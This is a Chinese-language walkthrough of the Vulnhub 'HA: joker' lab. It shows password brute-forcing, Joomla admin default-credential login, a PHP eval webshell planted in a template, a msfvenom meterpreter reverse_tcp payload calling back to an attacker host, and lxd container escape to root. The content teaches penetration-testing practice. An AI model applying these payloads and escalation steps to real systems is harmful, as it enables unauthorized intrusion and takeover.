前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnhub靶机实战 | joker

Vulnhub靶机实战 | joker

原创
作者头像
tinyfisher
修改2020-06-18 10:12:28
2.3K0
修改2020-06-18 10:12:28
举报
文章被收录于专栏:湛卢工作室湛卢工作室

靶机地址:

https://www.vulnhub.com/entry/ha-joker,379/

靶机描述:

This lab is going to introduce a little anarchy. It will upset the established order, and everything becomes will become chaos. Get your face painted and wear that Purple suit because it’s time to channel your inner Joker. This is a boot2root lab. Getting the root flag is ultimate goal.

ENUMERATION IS THE KEY!!!!! (枚举是关键,字典是关键)

nmap 查看靶机端口情况,开放了80和8080

2020-06-17_221320.png
2020-06-17_221320.png

80端口没有特别发现,8080端口需要用户名密码进行认证。

对80端口利用dirb工具进行目录扫描,发现secret.txt文件

dirb http://192.168.136.134 -X .txt,php,json,html

2020-06-17_221514.png
2020-06-17_221514.png

secret.txt是joker和蝙蝠侠的对话,其实是提示信息,rock暗示kali中的rockyou字典,100 poor jokes暗示是字典的前100个。

对于8080端口进行抓包:

2020-06-17_221946.png
2020-06-17_221946.png

登录包中的认证信息通过base64编码,解密后发现为user:password 格式。按照此格式进行口令爆破,用户名joker,密码为rockyou top 100.

2020-06-17_222135.png
2020-06-17_222135.png

破解出用户名密码:am9rZXI6aGFubmFo,解码为joker:Hannah。登录后,发现8080端口web服务为 Joomla CMS

2020-06-17_222214.png
2020-06-17_222214.png

Joomla 默认后台地址: /administrator。默认用户密码 joomla/joomla,成功登录后台,尝试后台getshell。在插件中找到 beez3 模板,可进行php文件编辑:

http://192.168.136.134:8080/administrator/index.php?option=com_templates&view=templates

可在模板中添加shell.php文件,写入一句话木马:

<?php @eval($_POST[c]);?>

2020-06-17_222343.png
2020-06-17_222343.png

webshell地址:http://192.168.136.134:8080/templates/beez3/shell.php

注意连接的时候需要加上header字段Authorization: Basic am9rZXI6aGFubmFo,绕过第一步的登录验证

2020-06-17_222427.png
2020-06-17_222427.png

获得webshell:

系统信息: Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64

当前用户: www-data,需要提权到root

2020-06-17_222542.png
2020-06-17_222542.png

反弹shell:

1、生成msf 后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.222 LPORT=6666 -f elf >shell.elf

2、通过webshell上传到/tmp目录执行

Chmod 777 shell.elf

./shell.elf

3、Msf本地监听,获得meterpreter

2020-06-17_222646.png
2020-06-17_222646.png

Linux提权思路

  1. 内核漏洞(脏牛)
  2. 定时任务(Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码,工具pspy)
  3. Suid提权(SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。SUID可以让调用者以文件拥有者的身份运行该文件,SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。工具LinEnum.sh)
  4. Sudo 配置错误(管理员可能只允许用户通过SUDO运行一些命令,可能在没有察觉的情况下中引入漏洞,这可能导致权限提升。一个典型的例子是将SUDO权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。)
  5. NFS共享(网络文件系统NFS允许客户端计算机上的用户通过网络挂载共享文件或目录。no_root_squash参数配置不当可造成root提权。)
  6. 第三方服务(某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获 得root权限。 lxd容器提权。)

lxd容器提权原理

LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match privileges of the calling user. There are multiple methods to exploit this. One of them is to use the LXD API to mount the host's root filesystem into a container. This gives a low-privilege user root access to the host filesystem. This is demonstrated in the exploit attached.

2020-06-17_222933.png
2020-06-17_222933.png

lxd容器提权

利用LXD Alpine Linux image builder工具构建容器镜像, 该工具提供了一种创建Alpine Linux映像以与LXD一起使用的方法。

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine #构建容器镜像

错误required by: world解决办法:

编辑/etc/apk/repositories

然后在文件的最顶端添加http://mirrors.ustc.edu.cn/alpine/v3.12/main/

编译成功完成后,出现容器镜像alpine-v3.12-x86_64-20200617_0924.tar.gz,将该文件上传到靶机中。

2020-06-17_223025.png
2020-06-17_223025.png

lxd容器提权

靶机中操作:

首先将编译好的镜像alpine-v3.12-x86_64-20200617_0924.tar.gz上传至靶机

lxc image import ./alpine-v3.12-x86_64-20200617_0924.tar.gz --alias myimage #导入镜像

lxc image list #查看镜像列表

2020-06-17_223108.png
2020-06-17_223108.png

lxc init myimage ignite -c security.privileged=true #初始化容器

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true #将宿主机的文件系统挂载到容器的

/mnt/root 目录下

lxc start ignite #启动容器

lxc exec ignite /bin/sh #执行shell

cat /mnt/root/root/final.txt

获得root权限,拿到flag文件,完成任务

2020-06-17_223210.png
2020-06-17_223210.png

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档